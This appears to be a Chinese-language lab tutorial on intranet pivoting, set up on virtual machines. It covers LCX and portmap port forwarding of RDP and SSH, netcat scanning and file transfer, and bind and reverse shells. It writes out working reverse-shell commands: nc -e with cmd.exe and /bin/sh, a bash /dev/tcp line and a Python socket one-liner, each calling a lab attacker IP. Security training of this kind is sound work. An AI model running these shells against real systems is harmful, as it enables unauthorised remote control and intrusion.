1. 环境配置
该操作在vm虚拟机中完成,提前安装了Windows7、kali linux、Windows server2008。
将虚拟机的主机关机之后,通过链接克隆的方法克隆了三台主机,其中也用到了其他临时使用的机器,但是主要还是这三台机器。
分别是win7、server2008、kali linux
因为需要从不同的角度来进行配置ip地址,所以在这里先不固定ip地址。
参考链接:
代码语言:javascript复制https://mp.weixin.qq.com/s/ODX9gsw6nsWbbdBz6wRY5A
首先将两个windows下的主机防火墙关闭
windows 7 :192.168.238.13
Windows server2008 :192.168.238.14
互相ping检测:
打开winserver2008的3389远程桌面访问
然后再设置开启3389
2. 内网代理
内网代理分为以下两个部分:
正向代理:已控服务器监听端口,通过这个端口形成一个正向的隧道,由代理机器代替主机去访问内网目标。但是内网入口一般处于DMZ区域有防火墙拦截,无法直接进入内网环境。
反向代理:由内网主机主动交出权限到代理机器,然后本地去连接形成反向代理。例如:VPS监听本地端口,已控内网服务器来连接此端口,形成一个隧道。如果内网设备连接外网,就无法回弹只能再想其他办法。
3. 转发
端口转发
端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为,拿到公网shell和内网shell之后,无法直接接入目标内网,需要进行端口转发将内网的端口转发到我们的网络环境可以接入的跳板机上面从而进行连接,常见的端口转发方式有很多,例如lcx工具转发,nc反弹,socket代理, ssh隧道代理转发等等,这里暂时只对LCX工具进行介绍,其他方式后续陆续讲解。
4. LCX
Lcx是一款端口转发工具,一般使用条件:
- 内网服务器可以出网
- 服务器在外网,但是服务器安装了某些防护禁止敏感端口连接,如果发生这种,可以查看哪些端口允许传输数据,用这些端口将3389端口进行转发。
4.1 windows下使用
直接使用lcx.exe在两个主机上进行使用
首先在内网机winserver2008上使用端口转发
Lcx是一种一对一的端口转发,效率比较低,而且又可能会被杀软杀掉。
代码语言:javascript复制lcx.exe -slave 192.168.238.14 6666 127.0.0.1 3389
然后在攻击机上
Lcx.exe -listen 6666 7777
此时就将内网08的3389的流量转发到了VPS的7777端口上,此时使用mstsc来访问公网的7777端口,相当于访问内网的3389端口。
4.2 Linux下用
这里使用的是一台 Ubuntu 16.04 10.211.55.14
还有一台kali linux 10.211.55.23
Usage:./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
-v: version
-h1: host1
-h2: host2
-p1: port1
-p2: port2
-log: log the data
-m: the action method for this tool
1: listen on PORT1 and connect to HOST2:PORT2
2: listen on PORT1 and PORT2
3: connect to HOST1:PORT1 and HOST2:PORT2
在设置的时候,首先要在VPS机上运行监听的端口(如果首先运行内网机的话,会一直显示连接错误)
在VPS上运行
./portmap -m 2 -p1 6666 -p2 127.0.0.1 -p2 7777
监听本地的6666端口,再将流量转发到本地的7777端口上去
在内网机Ubuntu上进行运行
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 10.211.55.23 -p2 6666
将本地的22端口的流量转发到10.211.55.23的6666端口上去
当双方建立连接之后,VPS端就会显示现在将流量转发到7777端口上
然后在这个机器上再进行连接:
5. Netcat
Netcat 号称 TCP/IP 的瑞士军刀,kali里面是自带的,在Windows中需要单独去使用,netcat简称为nc
文件下载地址:
代码语言:javascript复制https://eternallybored.org/misc/netcat/
nc所具有的功能如下:
5.1 Windows下使用
使用命令nc.exe -h
可以查看命令使用介绍
nc.exe -h即可看到各参数的使用方法。
基本格式:nc [-options] hostname port[s] [ports] ...
nc -l -p port [options] [hostname] [port]
-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉--用于扫描时
参考链接:https://blog.csdn.net/zhangge3663/article/details/84379843
5.2 端口扫描
扫描本地端口
nc64.exe -nv 127.0.0.1 80
nc64.exe -nv 127.0.0.1 3389
扫描其他的机器端口
批量扫描端口信息
nc -v -z 192.168.238.13 3389-339
据说缺点就是很慢!!!
5.3 文件传输
文件传输的时候,可以简单分为两种模式
5.3.1 先监听,再接收
首先在接收文件的机器上监听端口,再发送文件,文件直接发送到接收机的指定端口
在这里使用kali发送文件,使用winserver08
进行接收文件实验
kali ip:192.168.238.15
winserver08: 192.168.238.13
08开启监听
nc.exe -l -p 7777 > get.txt
这里是接收从7777端口的数据全部写到get.txt文件里面去
在kali里面将文件传输过去
nc 192.168.238.13 7777 < 1.txt
这时候文件传输其实已经结束了,但是两个并不会直接断开,需要在08里面检测一下文件是否已经传输完成。
这里显示文件是已经传输完成了,可以在kali中使用ctrl c结束传输,kali结束之后,08中传输自动退出
5.3.2 先发送,再接收
kali先发送文件到本地的端口上,等待接收机主动连接接收文件
先在kali上启动命令
nc -l -p 7777 < 1.txt
然后在接收文件的08上访问kali的ip地址进行接收
nc64.exe 192.168.238.15 7777 > 1.txt
同样,nc在接收完之后是不会主动停止的,需要在08上查看下文件是否接收正常。
当然还可以传文件夹或目录,有兴趣的可以去看下,而且也可以提供非常简易的聊天功能,不过这种方法比较笨拙,不推荐使用
5.4 反弹shell
反弹shell,一共有两种模式
5.4.1 正向连接shell
攻击机直接连接受害者机器
此时:
- 受害者机器 win08
192.168.238.13
- 攻击机 kali
192.168.238.15
在受害者机08上运行
nc64.exe -lvp 7777 -e c:windowssystem32cmd.exe
然后在攻击机上运行
nc 192.168.238.13 7777
如果反过来
此时:
- 受害者机器 kali
192.168.238.15
- 攻击机 win08
192.168.238.13
在受害者机器上运行
nc -lvp 7777 -e /bin/sh
然后在攻击机上主动连接受害者机器运行
此时成功
5.4.2 反向连接shell
和上面的相反,需要受害者机器主动连接攻击机
此时:
- 受害者机器 win08
192.168.238.13
- 攻击机 kali
192.168.238.15
在攻击机上首先监听端口
nc -lvp 7777
然后在受害者机器上运行,主动连接攻击机
代码语言:javascript复制nc64.exe 192.168.238.15 7777 -e c:windowssystem32cmd.exe
如果反过来
此时:
- 受害者机器 kali
192.168.238.15
- 攻击机 win08
192.168.238.13
首先在攻击机上开启监听
在受害者机器上运行
nc 192.168.238.13 7777 -e /bin/sh
攻击机上就可以运行命令:
此时成功
5.5 受害机无nc的情况
如果受害者机器没有nc的话,这里就需要使用其他的方法来反弹shell了
5.5.1 bash反弹
使用方法:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
其中8080是端口,10.0.0.1是监听机的ip地址
此时:
- 受害者机器 kali
192.168.238.15
- 攻击机 win08
192.168.238.13
首先在攻击机上开启监听
nc64.exe -lvp 7777
在kali上执行bash命令
bash -i >& /dev/tcp/192.168.238.13/7777 0>&1
在kali上无法执行,应该是使用了zsh的原因,这里启一个docker来做
然后在攻击机08上就接收到了反弹的shell
5.5.2 python反弹
代码语言:javascript复制python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.238.13",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
此时:
- 受害者机器 kali
192.168.238.15
- 攻击机 win08
192.168.238.13
首先在攻击机上开启监听
nc64.exe -lvp 7777
在kali上执行python反弹命令,注意:这里使用的是python2,不是python3
代码语言:javascript复制python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.238.13",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
在攻击机就可以接收反弹的shell信息了
5.5.3 其他
代码语言:javascript复制http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
这里提供了很多的方法,可以进行shell的反弹
参考资料:
代码语言:javascript复制https://mp.weixin.qq.com/s/ma8ROHh1_giS4Yn13DEr-A
https://blog.csdn.net/wyvbboy/article/details/61921773
https://www.cnblogs.com/nmap/p/6148306.html
https://mp.weixin.qq.com/s?__biz=MzI1NTM4ODIxMw==&mid=2247487442&idx=1&sn=eaa8bbffd318c290ffd93917346f8e06&chksm=ea37f088dd40799ef6cda27c36ace8812a1ecd656ade4d3d31c833c7d5b1dad95724f0eef6d9&scene=21#wechat_redirect
https://blog.csdn.net/mtj66/article/details/74959287